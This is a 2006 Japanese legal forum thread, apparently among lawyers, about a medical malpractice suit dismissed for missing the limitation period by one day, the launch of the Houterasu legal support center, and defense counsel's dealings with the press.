564 :無責任な名無しさん:2006/05/26(金) 14:47:46 ID:HKwICJ8c
 というか、弁護過誤(戒告)事案ではないのか?内容証明を送った弁護士と提訴した弁護士が別なのか?
それに、被告は時効を援用したのだろうか?も一つ良くわからない事案だねぇ。

565 :無責任な名無しさん:2006/05/26(金) 14:47:53 ID:1sRqfU2Q
催告の趣旨を読み違えていたわけでしょ?

566 :無責任な名無しさん:2006/05/26(金) 14:54:04 ID:BOIOM3WA
記事の内容に問題があるんだろうが、「01年7月21日に被告に内容証明を送り、
02年1月21日」の日付で訴状を提出。」の場合、内容証明郵便が到達した時に
催告の効力が生ずるんじゃないの?

調べて書いてないので、ひょっとしたら間違ってるかも。

567 :無責任な名無しさん:2006/05/26(金) 15:11:04 ID:HKwICJ8c
 文脈からすると、7月21日到達、翌年1月22日訴状受付なのでしょうね。
 しかし、時効は怖いですね。返済プランと同様に余裕が肝心ですね。

568 :無責任な名無しさん:2006/05/26(金) 15:17:43 ID:USANkjmp
訴状の日付は1/21だったけど、受付が1/22だったということかな。



569 :無責任な名無しさん:2006/05/26(金) 15:24:06 ID:BOIOM3WA
>>568
だから、催告による中断が1/21より後だろうから、セーフってことにならないか?

570 :無責任な名無しさん:2006/05/26(金) 15:34:53 ID:oyzymFrS
10年近く経過して提訴するなら、当然時効について細心の注意を払うだろう。
この弁護士馬鹿だな。

571 :無責任な名無しさん:2006/05/26(金) 15:36:57 ID:VOdKlryT
受付が1・22〜1・24だったとすればアウトじゃん

期限ぎりぎりに書面提出する癖がいかにやばいか
皆さん他山の石としましょう

572 :無責任な名無しさん:2006/05/26(金) 15:37:54 ID:VOdKlryT
>女性側の弁護士は「こちらもだが、裁判所も判決を書く過程で、ようやく気付いたのだろう」と話している。

これ言い訳がましくてやだね。

573 :無責任な名無しさん:2006/05/26(金) 15:39:33 ID:5qTjWxfM
名古屋地裁に提訴してるんだから、訴状の日付=受付日でいいと思うけどね。
内容証明郵便の到達が7月21日なんじゃないのかな?だから、1月20日で時効。
でも、時効って、援用ないと採用できないよな?被告が主張してたら、とっくの昔に分かってた
はずだし、どうしたんだろ?
弁論を再開して、時効を援用する準備書面を被告にださせたのかな?


574 :無責任な名無しさん:2006/05/26(金) 15:40:41 ID:VOdKlryT
訴状の日付=提出日だとは限らないのでは。


575 :無責任な名無しさん:2006/05/26(金) 15:43:58 ID:5qTjWxfM
受任したのは、おそらく名古屋の先生でしょ?それなら裁判所に直接訴状を持ち込むから、
訴状の日付=提出日だと思って。
名古屋以外の先生が受任したのなら、訴状の日付と提出日がずれるかもしれんが。


576 :無責任な名無しさん:2006/05/26(金) 15:53:58 ID:HKwICJ8c
 よく知らないが、持込の場合は、必ず当日受付になるのかな?
 時効期間間近の場合は、不備は後から補正すると述べて、必ず受け付けてもらって、かつ、受付印を訴状控えに押印してもらうよう事務局に指示している。
裁判所の手違いとかで、受付日がずれたら嫌だから。実際は杞憂なのでしょうか?

577 :無責任な名無しさん:2006/05/26(金) 16:29:36 ID:BOIOM3WA
>>576
>  よく知らないが、持込の場合は、必ず当日受付になるのかな?
これは当然なるでしょう。そのために裁判所が夜間受付してるのだから。

>>573
> 内容証明郵便の到達が7月21日なんじゃないのかな?だから、1月20日で時効。
初日不参入。
記事だと「01年7月21日に被告に内容証明を送り、」だから、到達したのは22日以降
じゃないかと読めるんだが。

> 弁論を再開して、時効を援用する準備書面を被告にださせたのかな?
もしそうならひどい話だと思うね。時効に気付かないのは被告の落ち度だろう。
それを裁判所が助けるのは中立性に反してる。

578 :無責任な名無しさん:2006/05/26(金) 16:49:44 ID:d605DL12
訴訟提起するところまで本人訴訟だったそうです。

579 :無責任な名無しさん:2006/05/26(金) 16:51:03 ID:1sRqfU2Q
そうなるときちんと時効を争点にあげなかった病院側弁護士の問題だよね



580 :無責任な名無しさん:2006/05/26(金) 17:17:37 ID:HKwICJ8c
>577
 ん?初日不参入で7月21日到達なら、カウントは7月22日から始まるのでは?自信がなくなってきたけど。
 さっきは違うことを書いたけど、7月22日に到達して、1月21日付の訴状が1月22日に受け付けられたということでしょうかね。
 いずれにせよ、被告が受け取る訴状には受付年月日が押印されているのだから、被告側代理人と行き過ぎた介入を行った裁判所が問題ですね。


581 :無責任な名無しさん:2006/05/26(金) 17:27:14 ID:49T5o9J4
>>580
援用があったかどうかも不明だし,時効の起算点を何らかの構成でずらせなかったのかも疑問。
謎の残る話

582 :無責任な名無しさん:2006/05/26(金) 17:37:49 ID:P1MY6TWH
名古屋の弁護士の間では、あの裁判官はDQNな訴訟指揮で有名らしいが・・・

583 :無責任な名無しさん:2006/05/26(金) 17:38:57 ID:BOIOM3WA
>>581
そだね。時効の起算点を不履行の時じゃなく、損害発生の時と構成すれば
時効は問題にならないかもしれない。

584 :無責任な名無しさん:2006/05/26(金) 18:30:32 ID:CqgpG6JF
>>582
名古屋に限らず…行く先々で…
弁護士に限らず…裁判所職員からも…

585 :無責任な名無しさん:2006/05/26(金) 19:24:41 ID:Fk/Gaha4
ZAKZAKによると、7月21日に催告、訴状の受付印が1月22日らしい。

586 :無責任な名無しさん:2006/05/26(金) 20:19:43 ID:BOIOM3WA
>>585
それが事実なら、時効不成立としか考えられないが。
初日不参入原則の適用を認めた大判大6.11.8民録12-1762はいつ変更されたんだ?

587 :586:2006/05/26(金) 20:56:55 ID:BOIOM3WA
ああ、おれも弁護過誤だ。
>>585なら、7/21の経過で時効成立か。
ただし、内容証明が7/21発送なら、送達は22以降じゃないかという気がするが。

588 :無責任な名無しさん:2006/05/26(金) 23:55:32 ID:ph2jUSz6
当事者が抗弁として援用しないのに判決前に裁判所から連絡があって時効成立だと言われたなんておかしいでしょ。それに債務不履行なら10年かもしれないけれど
不法行為なら20年でしょ。おいらの頭がどうかしてしまったのかな?起算点だって被害を知ってからにずらせるでしょ。変な話??



589 :無責任な名無しさん:2006/05/27(土) 00:51:23 ID:yW7RKUhT
債務不履行構成であれば、起算点はずらせないと思うけど。権利行使可能時だから。
不法行為構成にすれば、ずらせるけど、3年の短期消滅時効は、事実関係からすれば無理ということなんじゃないのかな?

590 :無責任な名無しさん:2006/05/27(土) 01:05:50 ID:LrdzjQTm
日弁連:「司法改革実行宣言」採択 定期総会で

 日本弁護士連合会は26日、岡山市内で定期総会を開き、10月にスタートする
「日本司法支援センター」の業務に対応するための体制確立に向けた「司法改革
実行宣言」を採択した。センターの国選弁護人選任業務には一部の弁護士から
「法相の監督が及ぶため独立性が保障されない」との懸念が出ているが、日弁連
は宣言で「自主性、独立性を確保して質の高い弁護を提供しなければならない」と
している。

毎日新聞 2006年5月26日


http://www.mainichi-msn.co.jp/shakai/wadai/news/20060527k0000m040126000c.html

591 :588:2006/05/27(土) 01:26:01 ID:iBipqR60
被告が時効の援用したら、期間、起算点、何の時効かで当然主張の応酬があるはずでしょ。それを裁判所から判決直前に連絡があったなんてあり得ないでしょ




592 :無責任な名無しさん:2006/05/27(土) 01:27:19 ID:IaoonB2i
エーと,今更聞けないのでここで聞きますが,法テラスが実働を始めると,今までの法律扶助や弁護士会の法律相談
は法テラスのスタッフ弁護士だけがやることになるのですか?一般の弁護士は,国選も当番弁護士もやれなくなるの
ですか?
 スタッフ育成弁護士とやらを雇う?事務所には法テラスが月2件の破産事件の配転をする,とか言ってるけど,その事件は
誰がどこで取ってくるのですか?弁護士が法律相談をして初めて委任するかどうかを決めるのに,弁護士を通じずに
法テラスが「配転」出来るのですか?
などなと疑問点は一杯

593 :無責任な名無しさん:2006/05/27(土) 09:31:55 ID:PgUVMSGC
>>592
文章化して回答する手間を考えると,
とてもここで回答する気にならないほど
基本的な質問ですねw


594 :無責任な名無しさん:2006/05/27(土) 10:08:15 ID:AyGkKYuv
>>591
不法行為なら20年とかいってる弁護士のほうがあり得ない

595 :無責任な名無しさん:2006/05/27(土) 10:16:48 ID:4C2MEL+2
阿呆テラスなんか無視すりゃいいんだよ。     困るのは執行部の数人ぐらいじゃね。

596 :無責任な名無しさん:2006/05/27(土) 10:55:22 ID:aWAuHcfv
>>582 名古屋の弁護士の間では、あの裁判官はDQNな訴訟指揮で有名らしいが・・・

この一行で、新聞記事の内容に抱いた疑問がすべて氷解しました。
これまでマジメに「問題点」を議論してこられた先生方に、敬意を表します。




597 :無責任な名無しさん:2006/05/27(土) 12:25:44 ID:KkOQ49PY
 588では有りませんが、不法行為の3年の時効の起算点は、損害及び加害者を知るほかに、損害が不法行為によって与えられたものであることの認識も要したはず(最高裁判例上、但し、どういう事案での話かは覚えていない。)。
なので、20年後は無理としても、事実関係によっては(投薬ミスを知ったのがずいぶん後等)、主張することすら出来ないということではないと思う。
 但し、この事案では、訴訟物は債務不履行に基づく損害賠償請求のみだと推測されますが。
 しかし、裁判所の対応はなぞ。弁論の全趣旨から時効援用の主張があったとしていたりして。


598 :無責任な名無しさん:2006/05/27(土) 18:08:25 ID:aWAuHcfv
↑ 単に、法律のイロハすら知らない裁判官が増えてきている一例でしょ。
 アー、早く弁護士業を引退して、平成(合格)裁判官らとの接触を断ち切りたい。

599 :無責任な名無しさん:2006/05/27(土) 19:27:34 ID:tBlPlV3H
確かに平成合格裁判官は一般常識を知らないというか、バカが要件事実だけ見てるとでもいうようなおかしな発想をするが、
年寄り弁護士には、法律論がかみ合わない困った人もいる。

600 :586:2006/05/27(土) 19:44:22 ID:jmNLWQmR
>>599
平成合格裁判官て・・・。
平成元年合格の人で、44期。15年めですよ。

601 :無責任な名無しさん:2006/05/27(土) 20:21:48 ID:FquEIzOb
駄目裁判官って再任拒否されないのかな。裁判官の身分保障は司法権の独立の
為であって駄目裁判官の雇用を守るためじゃないのに。雇用の保障がない弁と比べ
て全くいい身分だよ。最近は再任拒否が増えてるともいうが。

602 :無責任な名無しさん:2006/05/28(日) 01:25:44 ID:nf4ANPf1
>599の言うこと、何となく分かる。
平成合格裁判官って言うか、40期代後半でちょっと前に判事になった
ような人たちって、その前の裁判官とは少しタイプが違うように感じる。
なんて言うか、争点整理&整理案の作成に熱心だし、争点の整理に
ばかり集中していて事案に応じた進め方ができない感じ。
双方がこりゃ和解だろと思っていても、とりあえず争点が整理できてから、
と言って和解を勧めない。
あるいは、争点整理をきっちりやるために、釈明が多すぎたり。
しかるべき主張をせず、証拠を出さないのはあちらの落ち度なのに、せっせと
釈明して、争点整理案完成までの間にヒントをあげていろいろ準備させてしまう。
相手が惚けているときは、裁判官は必要な主張立証するように何度も勧めて
期日が空転したり。
最初は、ある裁判官個人の問題かと思ったけど、今まであたった40期後半以降の
裁判官の8〜9割方がそんな訴訟指揮だったので、その時期の裁判官は、全体と
してそういう指導を受けてきたのかなと思った。
弁論兼和解は不可とか、争点整理を煮詰めてから云々というのは、10年くらい前に
関心を寄せていた話題だったろうからね。

603 :無責任な名無しさん:2006/05/28(日) 06:39:35 ID:CiVo5XCW
>訴状提出「時効を1日過ぎていた」 判決直前、訴え棄却
>投薬ミスで夫が認知症になったとして、愛知県春日井市の女性(75)が
>県内の私立病院に約5100万円の損害賠償を求めた訴訟の判決が26日、
>名古屋地裁であった。内田計一裁判長は「訴状が時効を1日過ぎて提出さ
>れていた」と述べ、訴えを棄却した。
>4年に及んだ裁判は、判決直前の4月になって、すでに時効が成立していた
>ことが発覚。異例の判決となり、女性側の弁護士は「こちらもだが、裁判所
>も判決を書く過程で、ようやく気付いたのだろう」と話している。
>民法の「債務不履行」の時効は10年で、被告に内容証明郵便で提訴方針を
>伝えれば半年間延長される。女性側は91年7月25日に投薬ミスがあった
>として、01年7月21日に被告に内容証明を送り、「02年1月21日」
>の日付で訴状を提出。ミスから10年半がたった「02年1月25日」が
>時効と思っていたという。
ttp://www.asahi.com/national/update/0526/NGY200605260010.html

裁判長って書いてあるから合議事件?若手裁判官じゃないと思われ。
あと4年前の訴訟提起って事は内田裁判官は途中からかと。どこまで関与していたのか。
名古屋の人,教えて。

>女性側はミスから10年半がたった「02年1月25日」が時効と思っていたという。
ここも小一時間つっこみたい。


604 :無責任な名無しさん:2006/05/28(日) 08:25:42 ID:Vv66yYbZ
被告が時効の援用をしていないのに棄却ってありなのか。

605 :無責任な名無しさん:2006/05/28(日) 09:20:43 ID:AAhKWN9W
>>603
 全期会名簿くらい見ろ。
>>604
 既出。
 そもそも、これが本件の疑問のひとつ。
 医療訴訟で4年もかけて人証も調べた後に、時効消滅による棄却判決なんて。
 両弁護士も裁判官も、足し算?を知らなかったとしか理解できない。

606 :無責任な名無しさん:2006/05/28(日) 10:05:51 ID:t+mVtnsD
原告代理人は,時効でまける可能性があることに気づいて,
原告本人を説得し,原告側に不利な和解でも飲むべきだった。

裁判で損害賠償が認められるほどの義務があったか
という議論は別として,原告代理人のヘマは
明らかだと思われるが。


607 :無責任な名無しさん:2006/05/28(日) 12:00:55 ID:5g9II7LL
国選弁護契約:弁護士28人が司法支援センター業務拒否へ

 10月に業務を開始する「日本司法支援センター」(愛称・法テラス)の国選弁護人
選任業務を巡り、関東地方の弁護士有志28人が25日、センターとの国選弁護契約
を拒否することを会見で明らかにした。「センターと契約した弁護士には法務大臣の
監督権限が及ぶため、弁護活動の独立性が保障されない」としており、全国の弁護
士に賛同を求める文書を送った。



毎日新聞 2006年5月25日

http://www.mainichi-msn.co.jp/shakai/wadai/news/20060526k0000m040121000c.html

608 :無責任な名無しさん:2006/05/28(日) 12:21:37 ID:OX6rNoYH
ついにきたか
ま,当然だろうな
だけど弁護士過多で国選で食い繋ぐ時代が来れば・・・

609 :無責任な名無しさん:2006/05/28(日) 13:04:23 ID:UGmhU7FA
弁護士は金の亡者

610 :無責任な名無しさん:2006/05/28(日) 13:06:42 ID:OX6rNoYH
本人訴訟は訴訟誣告亡者w

611 :無責任な名無しさん:2006/05/28(日) 13:12:59 ID:OX6rNoYH
法テラスこそ弁護士会直営や協会経営にするのがスジなのに
運営費は国庫補助金でもいいけれど

612 :TN:2006/05/28(日) 14:23:21 ID:uyt9TU8P
分かりやすくいうと刑事裁判がプロレスの興業みたいになるワケね
表向き争ってるフリして法務省というバスの中で仲良くしてる

613 :無責任な名無しさん:2006/05/28(日) 15:11:47 ID:tKodi77J
「利益相反,双方代理なので弁護士法違反,弁護士職務基本規定違反は明らか。法テラスと契約して国選弁護人を受任する弁護士は全員懲戒請求する!」
くらいのことを言ってもらってかまわない。

そしたら堂々と同調できる。

614 :無責任な名無しさん:2006/05/28(日) 15:31:41 ID:OX6rNoYH
弁護士法の基本理念である弁護士自治の大原則に違反する

というセンも捨て難い。

615 :無責任な名無しさん:2006/05/28(日) 15:54:45 ID:itB9vKux
責任者出てこい

616 :無責任な名無しさん:2006/05/28(日) 16:21:36 ID:OX6rNoYH
司法改革全般は
使用者責任で砂糖工事の母校に責任追及w
立法の瑕疵担保責任(国会と法務省)で国賠w
法テラス特化は
日弁連(賛成した幹部個人も)と国(国会と法務省)へ不真正連帯で損賠と国賠

617 :無責任な名無しさん:2006/05/28(日) 16:31:12 ID:itB9vKux
会長平あ山り

618 :無責任な名無しさん:2006/05/29(月) 07:03:22 ID:8JHf34oa
よくみんな将来のこと考えられるね

俺は考えれば考えるほど腹が立つので,具体的に引退の計画を立てて,その準備を始めた

619 :無責任な名無しさん:2006/05/29(月) 10:13:53 ID:6VTqu4iH
投薬ミスで認知症って、ありうるのかね?
そもそも、10年間も提訴できなかったって事は
余程勝ち目がなかったんだろうな。
こんな事件引き受ける方も引き受ける方だな。

620 :無責任な名無しさん:2006/05/29(月) 23:08:55 ID:Fp/5nPOq
今日の裁判で、窃盗に罰金刑を新設する法案がすでに施行されているのを知った。
裁判官の法令の適用の説明を聞いて初めて知ったお。ハズカシス。
日弁連もつまんないニュースをFAXで流すなら、こういうこともFAXで
流してくれてもいいのに。

まだ知らない人のために一応
ttp://www.shugiin.go.jp/itdb_gian.nsf/html/gian/honbun/houan/g16405051.htm
ttp://www.shugiin.go.jp/itdb_gian.nsf/html/gian/keika/1DA00AA.htm

621 :無責任な名無しさん:2006/05/30(火) 00:46:45 ID:krveLjSC
今回みたいに法務省提案のはこっちをチェックしておくのもあり。

http://www.moj.go.jp/HOUAN/index.html
http://www.moj.go.jp/HOUAN/houan35.html


622 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/05/30(火) 07:17:46 ID:L5xYZK+b
とりあえず岡口裁判官のHPは毎朝チェックしてる。

623 :無責任な名無しさん:2006/05/30(火) 07:43:03 ID:C9pocAyx
佐賀のT弁護士、接見後にブンやにすごいことをシャべってるね。
被疑者は「(被害少年が)病院に行っても行かなくても、いずれにせよ死んでしまうだろう。
そうなれば人殺しだ」と思い、怖くなって林道に放置しただって。

こんな先生につかれたら、重科間違いなし。

624 :無責任な名無しさん:2006/05/30(火) 09:24:30 ID:xTLC40kP
いつも思うことだけど、何で勾留中の微妙な時期に、弁護人が、ペラペラと
マスコミにしゃべっちゃうんだろうか。
「否認してます」「やっていないと言っています」みたいなのならともかく、
被疑者に不利になるようなことまでしゃべってたり。
私は、被疑者の細かい言い分は、起訴後調書見て、整合性のあることだけ
言おうと思っているので、勾留段階では、あまり詳しいお話しは勘弁と言って
いるんだけど、それだと時機を失するという考え方なのかな。

625 :無責任な名無しさん:2006/05/30(火) 10:39:40 ID:PiQZNIyD
弁護士は総じて口が軽い上にテレビに映りたがる。

626 :無責任な名無しさん:2006/05/30(火) 10:57:03 ID:F+7WVboj
ひき逃げの事案は、不真正不作為犯の議論ど真ん中だな。
事件を離れて法律問題としてどうなのかには興味がある。
報道によっては、若干被疑者の言い分が微妙に違うようだな。
ひいたときに「死んだ」と思っており、そのことが認定されれば
殺人未遂どころか保護責任者遺棄も難しいように思われるが・・

http://www.sankei.co.jp/news/060530/sha041.htm


627 :無責任な名無しさん:2006/05/30(火) 12:10:39 ID:7+R15emM
国選の報酬、また減額かい。


628 :無責任な名無しさん:2006/05/30(火) 12:23:26 ID:xTLC40kP
減額でもいいから、記録のコピーを当然のようにこちらに渡してもらいたい。

629 :無責任な名無しさん:2006/05/30(火) 12:25:52 ID:C9pocAyx
↑626
 可能性があるのなら、
 被疑者の有利な方にもっていくのが弁護人の役目じゃないのか。


630 :626:2006/05/30(火) 12:59:17 ID:F+7WVboj
>>629
そうですね。弁護人の役目です。
ただし被疑者の主張内容を前提に吟味してという条件付きで。
さすがに事実をねじ曲げて、こっちが有利だからこう言えとは
アドバイスしませんね。そういうのを聞きたい被疑者にはよく会いますがw

だから、まずは被疑者の記憶をきちんと整理すること、それを前提に弁護人
の主張を組み立てることでしょう。それまではマスコミといえ情報は出せない。
すでに指摘されていますが、記憶整理もできていない段階で弁護人が
被疑者の主張を公開してしまったのなら、戦術としてはいただけないですね。

631 :無責任な名無しさん:2006/05/30(火) 15:40:37 ID:FgC7iYMa
新聞記者に何をしゃべろうと、新聞記事は伝聞証拠だし、記者を尋問するわけにもいかないから
全く問題はないだろう。それとも新聞記事で心証をとる裁判官がいるのか?

632 :無責任な名無しさん:2006/05/30(火) 15:45:45 ID:vqYrWJOI
>>631
テレビのビデオが提出されたら?
守秘義務って何だっけ?

633 :無責任な名無しさん:2006/05/30(火) 15:57:09 ID:FgC7iYMa
「新聞記者」だよ! 「テレビ」じゃないよ。

634 :無責任な名無しさん:2006/05/30(火) 16:07:11 ID:F+7WVboj
>>631
全く問題がないとは思えませんね。
第一に被疑者あるいは被疑者親族などとの信頼関係上どうか。
第二に新聞記事自体を今後の殺人未遂被疑の取調に利用される可能性がある。
第三に弾劾証拠、反対質問内での利用などの可能性が残る。
第四にかなり踏み込んだとこまで公開したのでマスコミ対応がもっと大変になる。

635 :無責任な名無しさん:2006/05/30(火) 16:15:53 ID:FgC7iYMa
そうかな、被疑者→弁護人→新聞記者となるから、新聞記事は再伝聞証拠になる。
また、弁護人の思惑(マスコミ利用)や新聞記者の思惑(売れる記事)が入るから
信用性や正確性は相当低いと見るのが一般的。
弾劾証拠や反対尋問で新聞記事を使用するレベルの低い検察官っているのかね?

636 :無責任な名無しさん:2006/05/30(火) 16:18:35 ID:tbAwYJek
>>635
そういうPはいくらでも居るんじゃないの
直接使わなくても,取り調べの時なんかに使うだけ使って,調書上は出さないとかね。



637 :無責任な名無しさん:2006/05/30(火) 16:25:57 ID:fycaNVee
 本件とは関係ないが、裁判員が導入された後の報道の与える影響はどうなのだろうと、ふと思った。

638 :無責任な名無しさん:2006/05/30(火) 16:29:29 ID:7+R15emM
否認事件とかでは、現に新聞記事を証拠として検察官出してくるからなあ。
記者に対して、被告人は事実を認めてたとかいうことで。


639 :無責任な名無しさん:2006/05/30(火) 16:51:14 ID:C9pocAyx
>>信用性や正確性は相当低いと見るのが一般的。

自由心証主義! 裁判官の専権事項ですね。

640 :無責任な名無しさん:2006/05/30(火) 17:33:54 ID:3cTaBftL
>>635
カレー事件や,八木茂の事件では,テレビの録画テープが証拠採用された気が。

マスコミ対応は,

一 被疑者及び家族らの真摯な了解を得た上で
二 その後の弁護活動の手足を縛らず(被疑者の供述の変遷や新証拠の発見も見込んだ上で)
三 マスコミの機嫌を損ねないように丁寧に
四 言葉尻だけ取り上げられて報道されないように
五 被害者感情にも可能な限り配慮しつつ

やらなきゃダメさ。

それができなきゃ,完全黙秘するのが吉。

641 :無責任な名無しさん:2006/05/30(火) 22:23:03 ID:2Mn8tbZW
弁護士は犯罪者の味方

642 :無責任な名無しさん:2006/05/30(火) 22:28:36 ID:ItVBaltY
>>641
おっしゃるとおり。

それが何か?

643 :無責任な名無しさん:2006/05/30(火) 22:34:10 ID:uaZwbeO5
>>641
それは違うぞ。
被害者の依頼を受けたときは被害者の味方
犯罪者の依頼を受けたときは犯罪者の味方
これが正しい

644 :無責任な名無しさん:2006/05/30(火) 22:37:07 ID:x2vMbLx2
国や自治体の依頼を受けたら国や自治体の味方
要するに誰の依頼を受けたかによるだけ

645 :無責任な名無しさん:2006/05/30(火) 22:46:58 ID:D3AMwGt3
要するにお金を払ってくれた人の味方

646 :無責任な名無しさん:2006/05/30(火) 23:20:39 ID:6SuWIlsq
いまさら何をそんな当たり前のことを・・・

647 :586:2006/05/31(水) 04:39:10 ID:OSfj9jsm
>>643
敵に渡すな大事なリモコン

648 :無責任な名無しさん:2006/05/31(水) 09:22:36 ID:jwCagd3f
>>647 鉄人28号かあ。なつかしいな。今知ってる人いるのかな。

649 :無責任な名無しさん:2006/05/31(水) 10:06:35 ID:GMHok0ku
某社からのパートナー募集とかいう無駄に金のかかってそうなパンフ
みんなきてます?

650 :無責任な名無しさん:2006/05/31(水) 12:39:01 ID:tw49y3v/
一度、28号の正太郎君みたいなジャケットに半ズボンで公判に望んでくださいよ。


651 :無責任な名無しさん:2006/05/31(水) 13:07:19 ID:cBVyre9h
いや,鉄人28号の例えでいえば,弁護士は正太郎君ではなく,鉄人28号なんだけど。
正太郎君が依頼者。リモコンが委任契約。

652 :TN:2006/05/31(水) 13:45:42 ID:wuWZpei4
オレは知ってるオサーンだ
小学校に上がる前だった
年がばれるな

653 :無責任な名無しさん:2006/05/31(水) 14:21:40 ID:OSfj9jsm
>>651
じゃあ、ボール紙で円柱作って、それメガネの下にくっつけて出たら?


        ─( {;,・;})({;,・;})   
          `ー '( ̄ ̄ ̄ ̄ ̄> 
              ̄ ̄ ̄ ̄ ̄
  

654 :無責任な名無しさん:2006/05/31(水) 19:01:51 ID:W6kxfY6W
サラリーマンからプロ棋士になった瀬川さんの本を読んだが、奨励会と旧司法試験はどっちが大変なんだろうか?

655 :無責任な名無しさん:2006/05/31(水) 19:28:55 ID:qxhJYW9+
プロ棋士の方がずっとずっとずーっと大変だと思う。
自分が合格したからかもしれないし、平成合格だからかもしれないけど、
旧司法試験がそんなに難しかったか?と言われればそうではない。
才能なくても適度に勉強すれば大丈夫。
プロ棋士は、ある種の特別な才能が必要だろ。

656 :無責任な名無しさん:2006/05/31(水) 19:29:21 ID:sAORSaVb
 昨日単位会から「国選事件担当のお願い」と「弁護士照会等事件の名簿登
載について」というファックスが送られてきた。
<全部受ける。ただし,呆テラスと契約するつもりはない>という返信ファッ
クスを今から送る。
 「呆テラス」に入るべきかどうか,事務員さんと相談したのだが,「センセ,今でも事件処理でアップアップして
いるでしょう。うちのお客さんに<弁護士は法務省のひも付きなのですが,よろしゅうございますか?>なんて聞け
るわけないですよ。」
 と明確な反対意見を述べられた。

657 :無責任な名無しさん:2006/05/31(水) 19:30:45 ID:ZVjdPTQo
将棋のほうが難しいに決まってる。500人も受かる試験がそんなに難しいわけがない。将棋はプロの玉子になる段階で選別されるが司法試験受験生は誰でもなれる。だから頭が悪いのに受験生になった人間が難しいと言いふらしてるだけ。

658 :無責任な名無しさん:2006/05/31(水) 20:35:27 ID:5BRsQ4e3
>>656
自分勝手でいい気なもんだな

659 :無責任な名無しさん:2006/05/31(水) 20:59:43 ID:GEZY5HYB
>>658
何で自分勝手なんて思うの?

660 :MS754 ◆yGUnQdhyV2 :2006/05/31(水) 21:14:34 ID:aS9nf/T5
>>648
よく知っています。今でも、カラオケで主題歌を歌っています。


661 :無責任な名無しさん:2006/05/31(水) 21:58:14 ID:LBVkzZeB
>>658
執行部に勝手に作られた制度だ。
こんな制度に賛成した覚えはない。
契約自由の原則がある。
法テラとの契約が会規や会則になっているわけではない。
ゆえに,契約しないことを責められるいわれはない。

662 :無責任な名無しさん:2006/06/01(木) 09:54:12 ID:fTvniYXc
>>661
一応総会の決議は経ているので,気に入らないといって,日弁連に所属する者として,知らんぷりできない。
反対したから知らないなんてのは,こどものわがままだ。嫌なら日弁連が強制加入団体であることが違憲だとする訴訟でも提起して,日弁をでなさい。

やりたくないから嫌だ的に参加しない者が増えると,その分,嫌な仕事が増える他の会員がいる。他の会員にしわ寄せがいく。


663 :TN:2006/06/01(木) 10:02:25 ID:9uYIzSS8
>>662
いくら総会決議を経ていると行っても法律違反の行為は弁護士としてできないな
日弁連の命令なら人殺しでもするの?

日弁連って北朝鮮みたいな団体だね

664 :無責任な名無しさん:2006/06/01(木) 10:11:32 ID:e3cFkKHB
会員が全員、呆テラスと契約するなんて決議あったっけ?

665 :無責任な名無しさん:2006/06/01(木) 10:33:47 ID:XEbteDdR
執行部の求心力の問題だよな。
求心力がない奴がやると、幾ら笛を吹いても会員は踊らんよ。

666 :無責任な名無しさん:2006/06/01(木) 12:27:39 ID:fTvniYXc
>>663
法律違反って何?

あと子供やみたいなことを言わないように。
嫌なら違憲確認の訴訟でもしなさい。


667 :無責任な名無しさん:2006/06/01(木) 12:35:23 ID:yLnH+Nh4
利害相反の意義も知らない非弁が噛みついてきたようだね。

668 :無責任な名無しさん:2006/06/01(木) 12:43:38 ID:pYp1046t
>>666

あなた、アホですか?
総会の決議があるからといって、日弁連がそれに反対する
各会員に契約を強制することなど出来るわけがない。

決議に嫌なら違憲確認しろ、日弁を出ろなどとは、低脳すぎ
てもし貴方が同業者なら恥ずかしいです。

669 :TN:2006/06/01(木) 12:46:29 ID:9uYIzSS8
>>666
要するに同じ事務所の弁護士同士が原告被告双方の代理人を務めるのと同じことです。
(法務省管轄の検事と国選弁護人が相対立します)
後は弁護士法を読んでよく勉強しておいてください。
子供のように法律知識のないことを行ってるのは日弁連です。

670 :TN:2006/06/01(木) 12:48:38 ID:9uYIzSS8
こんな団体に強制加入させられる自分自身が情けない。

671 :無責任な名無しさん:2006/06/01(木) 13:00:32 ID:07S8tlaW
都道府県の顧問やりながら刑事弁護をするようなものだ。
利益相反の可能性があるから,普通はやらない。

会規になっているのであれば,会規違反をすることは懲戒を受ける可能性があるので,義務の衝突の場面だから,検討の上で法テラスと契約するという選択肢もあるかもしれない。

672 :無責任な名無しさん:2006/06/01(木) 13:01:15 ID:07S8tlaW
みんなで,法テラスと契約する弁護士を片っ端から懲戒請求しようぜ。
利益相反行為だから。

673 :呆夢小:2006/06/01(木) 14:45:07 ID:JZuTm0cD
わが社は、刑事弁護を支配ようとかそんな大それた考えは毛頭持っていません。
単に天下り先を広げたいだけです。誤解なきよう。

674 :無責任な名無しさん:2006/06/01(木) 14:49:12 ID:wtBKVsTC
TNのような馬鹿を相手にしても時間の無駄

675 :TN:2006/06/01(木) 14:53:40 ID:9uYIzSS8
誰が馬鹿かはこれを読んでる人なら理解していると思うよ
ある程度の法的知識が前提だけど

676 :無責任な名無しさん:2006/06/01(木) 15:39:24 ID:k6p/Bzc5
>>671
それは利益相反とまで言えないと思いますが。
突き詰めていくとRCC所属弁護士が国相手に租税訴訟するようなのも
利益相反になっちゃいませんか?

法テラスのジュディケア弁護士が刑事弁護できない、利益相反だからだ
ってのは正直言って、国選とかをしない言い訳に聞こえます。
単にやりたくないから俺は契約しないってことでいいんじゃないですか?
僕はやりたくはないけど、断る勇気がありません。

677 :TN:2006/06/01(木) 15:45:06 ID:9uYIzSS8
>>676
あなたは,同じ事務所の弁護士同士が原告被告双方の代理人を務めても良いと思ってるの?
それが国の制度として確立してしまうんですよ

オレは今まで国選を細々と100件近くやってきて,扶助も年1,2件やってきた。
日弁連がこのようなオレのささやかな善意を踏みにじるようなことをするのはとても残念だ。

678 :無責任な名無しさん:2006/06/01(木) 15:50:05 ID:gNt8c9iT
俺の小単位会では,日頃から国選を真面目に
やってない人にかぎって,センターに対し
うるさく文句を言ってるんだよな。

国選をやりたくないなら,もういいので
あんたは黙ってろと言いたい。



679 :職人:2006/06/01(木) 16:09:13 ID:xlcpVF0F
国選をしたくないというんじゃなくって
たぶん、法務省の支配下に置かれるというのが、気分的に腹立たしく
我慢できないんだろう。弁護士ならば誰でもその気持ちはよく分かるはず。

680 :無責任な名無しさん:2006/06/01(木) 17:33:38 ID:GdZnZKjR
ところで法テラス賛成派と反対派はどっちが正しいの?
法律の勉強始めたばかりで、よくわかんないんですけど……………

681 :676:2006/06/01(木) 17:42:42 ID:k6p/Bzc5
>>677
おっしゃることは分かりますが、同じ事務所の所属弁護士が
原被告双方の代理人に分かれるというのと、法務省管轄下の
